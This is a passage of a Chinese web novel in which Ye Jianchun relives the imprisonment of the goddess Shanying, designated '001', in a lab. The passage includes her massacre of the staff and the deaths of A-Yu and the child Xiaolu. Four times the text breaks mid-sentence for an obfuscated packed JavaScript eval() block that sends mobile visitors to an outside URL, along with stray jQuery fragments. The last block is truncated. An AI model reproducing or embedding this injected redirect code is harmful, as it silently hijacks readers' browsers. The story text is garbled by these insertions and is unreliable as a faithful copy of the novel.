过了好半天,他察觉到对方已经想用地上的板砖拍死自己的时候,终于解释道:“我叫叶见春,你可以叫我……”春天。 山樱不耐地打断他:“你姓叶,你是清泠的什么人?” 叶见春顿了一下才反应过来她说的应该是自己的妈妈,说:“我是……叶清泠的家人。” 山樱嗅了嗅他身上淡淡的玫瑰花味道,奇怪道:“可是你身上为什么会有我的味道。” 这问题着实把叶见春问愣住了。 他还没来得及解释,门外忽然传来刺耳的门铃声,山樱熟练地按下按钮,面前立即投屏出屋外的影像。 一个西装革履的男人,面相看起来相当和善,但脖子上的青色刺青又扎眼地冲散了这份和善。看到他的瞬间,山樱本能地往后退了一步,毛滚滚的脑袋就这样直直撞到叶见春的小腹。 嘶,叶见春扶住她,也打量这个早该死掉的男人。 男人似乎意识到屏幕的那边在看自己,拿出一段叶清泠的立体投影,她躺在床上,肚子高耸,但四肢被铁链固定着,嘴巴也被塞了东西说不出话,表情很痛苦。男人嗤笑一声,说:“001,真的不打算出来吗?你看看这个将你偷走的人,好像快生了,她那么费劲地帮你出来,你想看到她一尸两命的样子吗?” “妈妈!”看来自己又在她的梦境里,饶是如此,叶见春仍然忍不住攥紧拳头。山樱看着这位陌生人,不太明白他的愤怒从何而来,更不理解他乱认妈的习惯,眼睛里没有太多情绪。 男人自说自话,大概说累了,才一拍脑袋:“差点忘记了,001,你还没有学会同情的概念。但只要你身上还装着芯片,无论逃到天涯海角,也是躲不过去的。再说了,我们合作的项目已经快要成功了,你不就是想要自由吗,等我们成功以后,分给你一整个世界,你想怎么样就怎么样,把这几个人都抓进去陪你,好不好?我的好孩子,出来吧,用那些难看的手段对你,我不忍心。” 虚伪又冠冕堂皇的人类。隔着虚空的屏幕,山樱仍然感受到那股恶臭的嘴脸,太久没有见到他,他看起来越来越丑了。 叶见春在一旁干着急,明明她是神明,为什么在窥见她无数个过去时,总是觉得她像一只待宰的羊羔,任人宰割,好奇怪的世界。他直接捂住她的耳朵,转过她的小脸,半跪下来,温声说:“山樱,别怕,这只是你的记忆碎片,这些都是假的。我们先逃出去,然后再想办法去找到真正的你。” 他怕不是个傻子吧,在说什么啊?叽里咕噜的,听不懂。 山樱蹙眉,看来他真是清泠的亲戚,这张脸和她一样的天真愚蠢。 她手刚放到开门按钮上还没使力,眼前人又气急败坏地抓住她的手背:“你有没有听我说话,你还要出去干什么,送死吗?” 山樱依旧我行我素,又快又准地按下按钮,说:“反正逃到哪里都是一样的结局,还不如出去和他们谈点条件。” 真怪,她为什么要和他解释? 其实叶见春说出口的那瞬间就已经觉得不妥了,他只是她微不足道的一个小信徒,竟然敢指使神明做事。他后背发凉,但还在强装镇定,仔细辨认了一会,确定这个世界的神明似乎不太一样。 在之前的小世界里,她喜欢捉弄自己,故意给他使坏,明目张胆堂而皇之地掌握整个世界的走向。可现在,她目光清明,根本不记得自己是神明,被动地接受一切。 他眼睁睁地看着她走出去,主动向那疯子伸出纤细的手腕:“我可以和你们回去,但总该谈点好处吧,作为减少你们工作量的回报,把那两个人放了。” 外面的男人不太情愿地点点头,说:“可以。” “——还要你们切断他们的芯片联系,将我设置为管理员,他们的信息从此以后仅我可见。” 男人磨了磨后槽牙:“001,不要得寸进尺。” 山樱瞬间收回了手,气势顿时变得剑拔弩张,她浅笑道:“做不到的话,你可以试试?” 男人停了片刻,环视了周围一圈,这里是特别保护区的别墅群,一条街后则是人声鼎沸的闹市区,一旦发生冲突,被路人看到,脑波传播的速度将难以想象——的确是庞大的工作体量。 他说:“行。” 山樱远程看着那对夫妻离开实验基地很远才默许他们抓住自己。 叶见春从她身后冒出来:“你们要带走她的话,就把我也带走。” 大概是没有见过这样赶着找死的人,男人眼神虚空地看着他,没有多少耐心,皱着眉不耐烦地吩咐:“带走。” 他们被蒙上眼罩,隐形汽车发出微微轰鸣声,驶入静谧的实验基地内部。 - 在熟悉的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17118211|195614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实验室中,即使经历过无数直面死亡的危难时刻,叶见春还是感受到了疼痛,剧烈的疼痛。 原来无数仪器细管插入身体的感觉是这样痛的,好像每一块皮肉都不属于自己,简直要疼死了。可同样被如此对待的山樱却面不改色,眼神空洞地看着玻璃罩外肥硕翠绿的叶片,轻蔑地笑出声来。 警报器滴滴响起,操纵平台上,一群人慌了神,咒骂声此起彼伏。 这具身体的数据异常,各种激素水平紊乱,不再适合做实验,这意味着前面几年的研究成果全都作废。可他们已经消耗了太多在人类重启计划上,作为唯一合适的搭载容器,绝不能允许出现这样的意外。 他们给她按上虚拟机,仅仅靠输液维持她的生命体征。叶见春拼命挣扎,却还是没能阻止这一切,他亲眼看见山樱陷入深沉的睡梦中,无论用什么方式都无法唤醒。 他知道一旦陷入虚拟机,除非找到虚拟机最薄弱的地方或者是外界主动停止,否则将会无法挣脱。 但三个月后的某一天,山樱毫无预兆地苏醒过来。 叶见春那时已经身心俱疲,他一度以为自己会死在这个世界里,但是却始终被人吊着一口气,不允许他的死亡。 不过现在,山樱醒了,这种神明重新回到自己身边的难以言喻的安心感让他浑身都放松下来。 然而山樱看向他的眼神变得更冷了。 她身体的各项指标又恢复了“正常”,一个机器声带着熟悉的腔调问她:“你是谁?” 山樱面容平静地挣扎了一会,最终失去了表情,开口说:“001。” “你现在是否有情绪低落、焦虑、易怒或过分兴奋的情况?” 山樱茫然摇头。 “你是否有伤害自己或他人的想法或冲动?” 她再次摇头,但异常的警报声忽然响起。山樱骤然被电流击中,那个声音重复说:“你是否有伤害自己或他人的想法或冲动?” 她还是摇头。 “你是否对任何人或任何事感兴趣?” …… 问题无穷无尽,像严格执行任务的程序,叶见春奋力扯掉身上的细管,目睹一切,生出无力感。 不对,这不对,这里是假的,神明不该是这样! 叶见春挣脱出仪器,长期被困在仪器里导致他根本站不起来,匍匐在地上,一点点挪动在山樱脚下。山樱疑惑地看着他,像是第一次见到他。 叶见春艰难地喘息道:“山樱,醒过来,醒过来!我是春天,我是——你的信徒,你说过,你会试着去爱我的,你忘了吗?” 他说到最后,几乎是带着哭腔的微弱声音,有人轻轻为他擦去泪痕。他抬头看见神明稚嫩的脸庞,她还这么小,他蓦然生出无边的罪恶感。 爱,有一瞬间的记忆在山樱脑中闪过,下一秒,她以肉眼可见的速度长大,叶见春甚至没来得及抓住她身上的任何东西,就看见长成几百岁的少女被封在一个透明的胶囊舱中。 叶见春脑袋有点痛,仿佛有千条万缕的丝线一起撕扯他的脑袋,温柔地缠绕再撕碎,这种感觉令人恶心、想吐和窒息。 然而透明的玻璃胶囊外,嘎吱嘎吱的声音正在缓缓逼近。 23. 人.Chapter 23 “你是谁?”山樱眼皮半敛,沉声问来人。 坐在轮椅上的男孩温和地笑了笑,说:“我是阿羽,你不记得我了么?” “我应该记得你吗?” 阿羽缓缓扒开他的衣服,露出背上丑陋的肉虫似的凸起伤疤,语气像浸水的棉花,说:“你怎么能不记得我,我这里的伤就是为你受的。” “——是你!”叶见春率先想起来,他是当初帮助山樱逃走的那个小男孩,被砍断了翅膀,竟然没死? 山樱想了想,说:“我不认识你。” 阿羽顿了顿,又抿嘴扬起笑:“没关系,现在认识也不迟。之前我受伤了很久,现在才来找你,你不会怪我吧?” 哪怕像囚牢一样困在胶囊中,山樱身上仍然有一种不把任何东西看在眼里的慵懒气质。她浅色的瞳眸凝视他,勾起冷笑:“当然——不会。” 少年少女相视而笑,叶见春心脏莫名其妙地紧张起来。 突然之间就好讨厌这个人,发自心底的厌恶,现在才发觉自己曾经顶着他的皮囊是一件多么恶心的事。明明看着就不像好人,神明怎么会轻信他? 叶见春嘟嘟囔囔的,没有人听见,他扭头不愿意再看到他们在一起的画面。 可惜从那以后,阿羽每天都会来见山樱,他熟练地操控着自己的轮椅,如入无人之地。他不仅会给山樱讲故事,还会分享一些古早电影或者游戏,偶尔他会描述外面世界的新变化。 外面的世界变化得很快,有时候讲一天也讲不完。尽管隔着一层玻璃罩,但山樱的笑容越来越多了。 某天,山樱和他一起看一部复古感十足的蓝光电影的时候忽然偏头问:“你为什么不问问我把她埋到哪里了?” 阿羽明显愣了一下,他回避地低头,飞快地说:“不重要了。” 然而山樱轻轻敲了敲玻璃罩,电影的画面立即出现雪花般的马赛克,说:“我把她埋在世上最后一颗野山樱树下。” 阿羽沉沉地看着她,眼里不复之前的温柔缱绻,变得凌厉而尖锐,抵触地大声喊:“我说,已经不重要了!” 山樱看着在轮椅上无能发怒的他,扯了扯嘴角,没说话,嘲讽意味却很浓。 很久之后,阿羽推着轮椅第一次主动离开实验室,他在门口微停,声音轻飘飘地消散在空气里—— “谢谢。” 一门之隔的外面,墨绿发色的女孩抱着一只水獭玩偶,远远地看见泣不成声的阿羽,她澄澈的眼睛里满是担忧,小腿蹬蹬地跑到他面前:“阿羽哥哥,你怎么了?” 阿羽伸手将她抱在怀里,整个人都靠在她幼小的身上,压抑的声音让女孩很难受,她试着拍拍阿羽的背后,说:“阿羽哥哥,谁欺负你了,小鹭去打洗它!” 阿羽摇摇头:“小鹭,我只有你了……你要出去,你一定要自由。” 小鹭懵懵懂懂地问:“可是小鹭只想留在阿羽哥哥身边,自由是什么?” 阿羽的眼睛更悲伤了,即使年幼小鹭还心智不全,也明白自己说错了话,只能任由他抱着自己。 小鹭想,门里面一定住了一个老妖婆,施了什么妖法,每一次阿羽哥哥从里面出来,都看起来好难过。 叶见春以为他们闹了这样莫名其妙的不愉快,后面应该就不会再见面。但事实上阿羽的闷气只生了一天不到,第二天再来的时候,他像是什么都没发生,脸上仍然是和煦的笑容。 山樱也露出笑容,不过叶见春太了解她了,她看起来更像是起了什么不可言说的坏心思。 虽然不清楚缘由,但至少明面上他们的关系更好了,这让叶见春的心脏突突的,可恶地难受。更可气的是,其实他们俩一直都看不见自己,所以他无论怎么愤怒,能做的也只是挠着玻璃干瞪眼。 每次他看着神明露出明媚的笑脸,手指总会无意识地在玻璃罩上画圈圈诅咒。 也不是不能理解,毕竟这个年纪的少年最容易春心荡漾,他要体谅她,在其他小世界里,神明爱过的人类都数不胜数,何况她被囚禁多年,自然想要寻个依偎。 叶见春深吸一口气,他理解的。要是阿羽对她不好,他就帮她杀了他好了。 他甚至忘了,这里只是虚拟现实。 直到那天,阿羽冷不丁地提到,如果离开这里,她最想要干什么。 山樱没有回答。 但这个问题像种子一样在心底扎根发芽,两个月后,山樱终于耐不住性子,问他:“阿羽,如果我想离开这里,你会帮我吧?” 她似乎开始相信他了,阿羽愣了一下,情深义重地承诺说好,他一定会帮她达成心愿。 这回他走的时候,山樱一如既往笑眯眯地,只是不经意间的随口一问:“阿羽,为什么要对我这么好?” 阿羽转头,那双不羁的丹凤眼里汲满深情,他给出了一个无可挑剔的答案,郑重地说:“因为我爱上你了,001。” 爱是什么呢?山樱想,她总觉得这个字眼很耳熟。 “他不是真心的。”叶见春酸酸地说,但下一秒,就看见她抿嘴笑起来,像偷腥的猫,笑弯了眼,似乎是真的心动了。 山樱还没想明白爱是什么,一个幼童忽然闯进了她的房间。 叶见春同样看见这个绿发的女孩,浑身炸毛得跟刺猬一样,圆圆的眼睛瞪着玻璃罩里的人,稚气的脸上满是不服:“你就是要害阿羽哥哥的人吗?” 她看见山樱的脸,顿了一下,改了改措辞:“原来是想勾引我的阿羽哥哥!” 现在真是什么人都能进她的实验室了,看来那老东西的防备有所降低。 山樱瞥了她一眼:“小东西,你是谁?” “我是小鹭,女巫婆你别打岔,以前阿羽哥哥只会给我讲故事,为什么现在他都不理我了,都是你在说我坏话是不是?”小女孩叽叽喳喳的,山樱在玻璃罩里听她说话和唱歌一样。 是一只鲜活的复制品。 神明露出玩味的笑容,故意逗她:“我啊,你的阿羽哥哥说爱我,你说我是什么人?” 小鹭的眼泪说来就来,山樱看着她,甚至有闲心评价说:“你其实一点也不像她。” “为什么你和阿羽哥哥都喜欢说奇怪的话,‘她’是谁?”小鹭抹着眼泪可怜巴巴地质问道。 然而山樱已经恢复那副冷漠模 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122540|195614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样,冷冰冰地吓唬她:“滚出去!以后不要再进来这里一步!” 小鹭被她这光速变脸吓了一跳,玩偶掉在地上也不敢捡起来,哭得梨花带雨地跑了。 没想到阿羽那狗东西在外面还有人,吃着碗里的看着锅里的,叶见春越想越烦,有一下没一下敲着玻璃罩,抱怨说:“他根本就不爱你,三心二意,脚踏两条船,没想到你的眼光这么差,竟然能看上他这种人……” “不然呢,看上你吗?” “我不比他……”叶见春话没说完,抬头看到神明似笑非笑的戏谑神情,惊讶道:“你——看得见我?” 他愣了两秒,脸色一白,愤然追问说:“山樱,你不会一直都看得见我吧?” 山樱无辜地睁着大眼看着他,脸上难得有这么生动的时刻,仿佛在反问他:“不然呢,大傻个?” 原来神明喜欢捉弄人这事,从小就天赋异禀。 “那你为什么……” “我看见你了,你不应该要消失了吗?” 叶见春质问声被山樱打断,他怔了怔,似乎从她眼底探查到那一闪而过的忧郁,顿时张不开口,自己想说的委屈与难过竟然全都无处安放。 山樱的指尖隔着玻璃与他的指尖相汇,奇怪地说:“你是我的精神分裂体吧?可是为什么你也和我一点也不像?看来即使是同一个人的不同神经组织,也有不一样的性格脾气。” 叶见春被逗笑了,他说:“山樱,我没有骗你,我就是叶清泠的儿子,我也是你的信徒。只是你现在被困在自己的梦境里了,别担心,我会想办法带你出去的。” 山樱噗嗤一下笑出声来,那笑声意味十足,嘴上却说着:“你还,很真实呢。” 叶见春着急地问:“你不信我?” 山樱看着他,语气却敷衍极了:“信,在这世上,我最信你。” “……骗子,你明明就是没相信,我应该怎么做才能让你相信?” “帮我出去?” 叶见春露出手腕的木环,幻化成一把钝锤,狠狠地砸上玻璃罩,玻璃罩却纹丝不动。 他并不是没试过,但无论什么方法都打不开这个破玻璃罩。 山樱笑眯眯地看他,说:“这不是真玻璃,而是人工改造合成的金刚石墙面,这世上没有任何东西比它更牢固了。” 叶见春听说过这种材料,人工改造的金刚石加入粘性元素改变了其原有的易碎弱点,但造价高昂,所以实际使用几乎为零。 然而山樱话音一转,又说:“除非你有火。” 火? 这实验室里冷得像冰窖一样,那来的火? 山樱目光灼灼地看着他的缠臂?,叶见春立即联想到古代钻木取火的传说,他一把捂住手腕:“这个不行,你的记忆也在里面。” 山樱有一点不悦,她的记忆就没丢过,这个心口不一的骗子。她淡淡疑惑说:“你不是我的信徒吗?” 叶见春没招了,山樱已经笃定地挑眉:“你还想狡辩什么?” 叶见春不想“狡辩”了,如果她看得见自己,他现在只想迫切地知道一件事:“神明,你真的喜欢他吗?” 24. 人.Chapter 24 “他是谁?”山樱故意反问。 “阿羽、你喜欢阿羽吗?” “喜欢?或许吧。” 叶见春牙关发酸,咀嚼着空气,还是深吸一口气,上前恳求说:“能不能不要喜欢他?” “为什么?” “……”因为你答应过我要试着爱我的,他才没那么大度,亲眼看着她爱上别人,至少别在他眼前。 他迂回地给出答案:“他根本不值得你的爱。” 然而山樱的观察极敏锐,忽然问他:“你爱我吗?” 叶见春下意识回答:“我当然……” 他顿了顿,竟然不敢轻易说出“爱”那个字,认命地说:“神明,爱对我来说太奢侈了,我的爱轻如尘埃。但如果你想要,随时都可以拿去。” 神明的眼神悲凉又冷漠,说:“可你的爱对我毫无意义,他的爱却不同,他的爱足够毁掉这里。” 叶见春突然想起神明说过的——“爱不就是这样,是试探,是占有,是破坏与毁灭。” 好像突然明白了她为什么会有这样的偏见。 他无法奢求神明的怜爱,只好说:“山樱,无论你要做什么,我都会陪着你。” 山樱确定以及肯定自己绝不会说出这样让人头皮紧缩发麻的情话,她定定地望着他,像是要把这个人看穿看透。 那双冷清清的眼眸在叶见春面前像一池星河,扩散又重聚,仅仅几秒的对视,物转星移,他脑子里被拉扯的线也愈发疼痛。 叶见春跪在地上没法动弹也说不出话,而他面前的金刚石罩面却在消融。 好热…… 橘红色的跃动的火焰。 等等,实验室里怎么会有火? 叶见春忍着疼抬头看,看见阿羽拿着块并不平整的凸透镜跪在自己面前一点的位置。在眼前这场熊熊燃烧并有越演越烈势头的火焰里,山樱缓缓苍白的小腿僵硬着,第一次迈出舱室。 叶见春的头疼微微缓解,有种说不出的轻快。 阿羽扑在地上抓着她的脚踝,恳求说:“001,我知道你才是主世界的神明,我求求你,不要让他们抓到她。” 山樱轻笑地看他:“064,她只是个克隆体,063早就死了,你清楚,是我亲手杀的她。” 阿羽面容哀戚:“我知道。但我仍然愿意和你合作,按照约定,杀光这里所有人。” 山樱看了看自己手边匍匐着的叶见春,眼里渐渐泛起血丝,笑声渐大:“好啊,既然如此,神明——允你。” 山樱一手握住他的脖颈,阿羽深情的目光注视着她,刚想说些什么,却被跌跌撞撞闯进来的小鹭打断,她的泪水沾了满面:“阿羽哥哥?” 阿羽瞬间慌了神,连演都忘了怎么演。 他不是把小鹭藏起来了吗,她怎么会回来? 趁他愣神之际,小鹭小短腿哒哒哒地跑到山樱面前,愤怒地捶打她,阿羽连忙吼道:“小鹭,停下!快走!” 竟然有赶着来送死的人头,山樱低头,附在她耳边不知道说了什么,冷白的手抚上她脖子,稍一用力,小鹭就软绵绵地倒了下去。 “001!”阿羽的半边黑色巨翅不受控制地闪现,他扑腾地爬过去,紧紧抱住小鹭仍然温热的尸体,声嘶力竭地质问她,“你杀了她?!” 山樱轻飘飘地承认:“怎么了?不是你说,今天这里所有人都该死,难道你忘了吗?” “不,不是这样的。”阿羽无力地摇头,他明明已经把小鹭藏起来,只要001杀了这里所有人,就没有人把注意力放在一个小小的实验失败品上。如果幸运的话,通过这段时间他对001的“照顾”,她已经对自己动心,哪怕她偏执地想和自己在一起,也应该不会立即杀了自己……总之,他会有机会和小鹭团聚。 他算计了每一个人,可是到头来怎么会这样! 怎么会这样? 山樱细眉皱起:“哎呀,原来你忘了。那我勉为其难地提醒一下你的任务,六个月内让我爱上你,顶替这个小姑娘成为人体情感实验对象。作为交换,他们会祛除她身上实验体的芯片烙印,把她送出这个世界。但你猜到了那群人会不守诚信,所以假意和我合作,不就是想让我杀了他们,以绝后患吗?” 她的表情带着兴奋的笑意,让阿羽情不自禁地颤栗恐惧:“可是,你错了,他们其实根本不需要什么实验体。他们只是想通过情感催生广泛的神经联结,创造出更多的世界。明明泯灭了我的人性,又想让你通过所谓的爱情刺激神经递质来困住我,哪有这么容易的事?” “疯子!杀了我,你杀了我!” “愚蠢的要求,我真不明白,你明明可以自己逃走,为什么要为她做这些没用的事情?” 少年崩溃地大吼:“因为我喜欢她,我爱她,你这个怪物,你根本不懂!” 他煽动半边翅膀不管不顾地冲上去,用手里那块碎片刺向她。可尖锐一端却在中途失控转向,贯穿了自己的胸膛。 山樱怜悯地看着他,叹息道:“爱啊——如果你仍然相信爱的话,就当做是一场游戏吧,死亡即是新生,你们总会重逢的。” 少年死不瞑目。 山樱的半边眼睛被溅入的血彻底染红,嘴角仍然挂着僵硬的笑意。叶见春仿佛见到那天在海底见到的失控的神明,他刚一恍惚,山樱就消失在这间困住她几百年的实验室,找不到踪迹。 “山樱?山樱!”叶见春试探着穿过大火,皮肉烧焦的神经末梢根本感受不到灼痛,他在空荡的实验室里狂奔,一间间寻找。 等叶见春再找到她的时候,她染了一身的血,面前是七横八竖堆积在一起的尸体,那些尸体脸上并没有多少痛苦,甚至有种说不出的诡异的安宁,仿佛只是睡着了。 唯有一具血肉模糊的身躯还在微微抽搐——手竟然还在动。 身体都这样了,不会还活着吧? 山樱抓着他的脑袋,像是抓着死物,把他随手丢进了一旁插满各色细管的营养液中。 她甚至不让他死。 她转身,杀意未消的笑容里染上邪性:“春天,你怕了吗?” 叶见春的眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17128694|195614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神从那具尸体转移到她脸上,空气黏稠得令人窒息。 他轻轻牵住她的手,把上面的血污擦干净,忽然紧紧抱住她,力道大得似乎要将她的胸骨折断:“山樱,无论发生什么,我都不会背叛我的神明。” “是吗?”山樱手一挥,两个虚影就出现在叶见春面前。 叶见春这个身体都僵住了,他难以置信地看着这两个忽然闯入领地的人,松开山樱却扑了个空,他的身体比他想象中更加敏感,眼泪早就不自觉滑落:“爸爸?妈妈?” 叶清泠夫妇二人穿过被强行吞并并不稳定的小世界,但始终无法进入山樱真正的世界,他们在外围焦急地呼喊:“山樱?山樱!” 山樱迟疑片刻,眼睛里的充血开始退散。她挥手布置出一扇时空门,准备去见他们。 “你要做什么?”叶见春连忙拉着她,她正在杀头上,爸妈此时见她和送死有什么区别? “你在发抖,还说不害怕?”山樱冷笑着审视他,手也慢慢从下巴处下滑。 叶见春根本无法制止自己的颤抖,因为这就是他内心最不愿意面对的事情。他从很早就知道,他的父母最有可能的结局就是死在她手中,可内心深处仍残存一丝侥幸,她不会那样做的…… 万一她真的杀了他们,那他一定要杀了她。 然后再自杀。 这陌生的念头冒出来时,他突然不怕了。 同归于尽,何尝不是另一种天长地久? 何况,他必须要知道,当年的真相究竟是什么? 于是他掐了掐手心,帮她推开门,脸上豁然赴死的神情让山樱忍俊不禁,她说:“嗯,怎么感觉你很想陪我一起死?” 山樱毫无顾忌地走了出去。 想要徒步穿过三个小世界抵达这里并不容易,叶清泠灰尘扑扑地站在他们面前,眼神却精神奕奕,她的声音坚定又安心,说:“山樱,我们来接你回家。” 山樱眯了眯眼,她冷声问:“你是谁?” 叶清泠愣住了,但她仍然耐心地回答说:“我是清泠,山樱你忘记了吗?” 山樱仍然摇头,并没有管他们两人,而是绕到他们身后,揪出了一个少年。 少年畏畏缩缩的,不敢露面,他很瘦,颧骨凸出,嘴巴有些厚,吊梢眼里满是惶恐,看起来很可怜。山樱掐着他的脖子把他拎起来,再一次重复问道:“你是谁?” 叶清泠拦住她,解释说:“他是被034世界神明塞进来的无辜孩子,一路上多亏他我们才能化险为夷找到这里。” 叶见春脑海里隐约听见滴鸣声,但似乎只有自己才听得见,脑子里那些错乱的丝线一点点绷紧,加剧疼痛,像是要把人劈成两半。 山樱手上力气暴增,推开叶清泠,骨节发出错位的响声,力气大得快要捏死这个可怜的孩子,说:“你、是、谁?” 叶清泠重重摔倒在地上,身上掉下一块淡黄色的圆润石头。 那孩子挣扎的小手小脚突然垂下,下一秒,他睁开眼,声音和这具身体完全不匹配:“好久不见,001。” 25. 人.Chapter 25 山樱的手指倏然松了力。她紧紧捂住自己的脑袋,叶清泠扶住她,青色的念力温柔包裹上来,试图缓解她的痛楚。 但山樱声音冷得像冰,“滚出去!” 叶清泠并未因她的恶劣而退缩,说:“山樱,在你的世界里,你可以提取任何人的记忆,我愿意提供我的记忆,帮你重新认识我们。” “走。”山樱从牙缝里挤出一个字。 “走不了了,他们都得死在这里。”男孩拍了拍手上的尘土,嫌弃地打量自己这具濒死的身体,说,“001,恐怕你不知道,上次你逃跑后,我们重写了你的芯片底层代码一旦离开实验舱后识别到他们两人的任何一人的生物信息,都会启动自爆程序。我劝你最好乖乖回到你的位置,不要轻举妄动。” 山樱漠然地看着他:“你的这具身体快死了。” 他一点也不避讳,大笑着说:“这些放射性石头天天揣在他兜里,不死已经是奇迹了。不过能让世界恢复正常,他死得也很值得。” “要我回去?”山樱静了静,声音铿锵有力,“不可能,除非我死。” “那等你的意识炸成碎片,我再给你的身体换个脑子也是一样的。”男孩说完,猛地咳出一大口黑血,直挺挺倒了下去。 叶清泠和简行之对视一眼,彼此都清楚,他们的身体也已经到了极限。 “山樱,”叶清泠压低声音,“记住,底层代码的完整密钥,藏在034世界的心脏里。” 山樱迎着夫妻俩担心的目光,抓紧叶清泠的小臂,语速飞快地说:“你们必须立刻离开这里,相信我,不要相信死亡。” 她咬破舌尖试图用疼痛压制另一股疼痛,她的念快得像一道闪电,将二人迅速带走,因为时空传送的速度太快,罡风在他们身上划破无数细小的伤口。 什么意思?为什么她和爸妈说的每一个字他都不明白。底层代码是什么意思?这个世界究竟藏着怎样的秘密? 叶见春舌尖又痛又麻,传来一股腥甜味。他追着爸妈走了两步,又一次眼睁睁地目送他们消失后,转头却看见山樱嘴角溢出的鲜血。 他摊开双手,终于明白了为什么只有山樱能够看见自己。 因为在这场梦境里,从始至终,他都是她。 亲历她的痛苦、她的杀戮、她所有的绝望与温柔,并借机窥探世界真相的一角。 他的心脏传来剧烈的绞痛,看见山樱半跪在地上,慌了一瞬,扑上去握着她的手轻声喊:“山樱?” 山樱勉强凝聚精神看向他,手不自觉地覆在他的心脏上,眼底的暴戾掩盖不住,翻涌着几乎要溢出来。 叶见春觉得自己大概是疯了。这种时候,他竟然觉得她破碎得令人心悸,哪怕死在她手上也能接受。 他听见自己说:“你是我的神明,无论你想要我干什么都可以,包括……死亡。” 她却迟迟没有下手,语气轻得不可思议,像是叹息:“春天,你会找到我的,对吗?” 叶见春猝然睁大眼,不明所以但仍然极其肯定地说:“我一定会找到你。” 誓言最不可信,哪怕是他们口中最虔诚的信徒,也会对神明隐藏几分私心。但山樱想,只此一次吧。 在自毁程序彻底摧毁意识之前,她亲手捏碎了那块连接着自己的记忆的芯片,她的本体藏在这场幻梦里,意识却化作无数碎片,飘散四方。 “我允许了。” “什么?” “你爱我。” 现在,他终于有资格,去爱他的神明了。 - 空白,空白,还是无尽的空白。 铺天盖地的、吞噬一切的空白。 梦境崩塌后,叶见春被困在一个在没有维度、也没有任何参照物的纯白里,仿佛一个被遗忘坏掉数千万年的时空。他的眼结膜很快被铺天盖地的白色灼伤,四处摸索,仍然找不到破解的出口。 对时间的感知最先消散,孤独与绝望像呼吸一样简单寻常。 他慌张,愤怒,恐惧,悲伤,难过,但渐渐的,这些情绪也像沙漏里的沙,一点点漏尽——他早已忘记了慌张。 所有作为人的感知都在一点点丢掉遗忘。 时间可以抚平这世间一切的伤口,。 他不知道具体过去多久,偶尔也会困惑自己的心为什么总是没有原因忽然疼起来。 每当疼痛的时候,他就会在自己的手腕处刻下某个名字,从而转移这份疼痛。这看起来更像是下意识的自救,但又仿佛彰显出某种他曾许过的誓言——要将这名字与自己的血肉连接在一起,深入骨髓,好让自己永远不会遗忘。 当叶见春失去所有人类情绪后,他眼前总算不再是一望无际的空白。 他看见了一些景象,灰蒙蒙的大地,枯枝败叶隐藏在厚厚的积雪之下,但就连那雪的颜色也像隔着一层雾蒙蒙的灰,暗淡无光,更近似于青黑的颜色。 叶见春还记得自己的目的,他在找一个神明,即便已经忘记了祂是谁,也不记得祂的脸长什么样。 他只记得那个不能忘记的名字——山樱! 他的脸上同样是空白,没有太多情绪变化,一天中除了睡觉就是发呆,连自己都不愿意继续和自己玩耍。 无聊透顶! 直到某天清晨,他看到一个姐姐,高高地坐在一截庞大的枯木上。 是人类! 他本能觉得高兴,这是他在这里见到的第一个同类,但他扯不出一个笑容,喉咙里也只能发出一些咿呀不明的声音——他早就忘记该怎么说话了。 那位姐姐并没有分给他半个眼神,她不说话,看着天上飘落的雪花,伸出手轻轻接住,慢慢化为一摊浑浊黑水。 可那仍然是令人惊叹漂亮的场面,她白绿色的短发上落了一层薄薄的雪花,尾端的发梢像被阳光吻过,渲染了几分虚幻的金色,像一尊琉璃佛像,让人只敢远远跪拜却不敢上前。 等到叶见春鼓起勇气走近她,发现她眼里依旧没有自己,于是有些着急地去够她的手,可刚一牵到,她就像一个精致机械的洋娃娃,仿佛插上了栓条静止不动,连扭头都只能一点点生硬地扳动。 叶见春压根不敢用力。 他心里隐隐觉得,她应该是自己很重要的人。 可她是谁呢? 叶见春越想,头就越疼,脑浆像被高速离心机摇匀了一样,酱酱糊糊的,思考不了一点。 想不了那么多了,好不容易看到一个同为人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 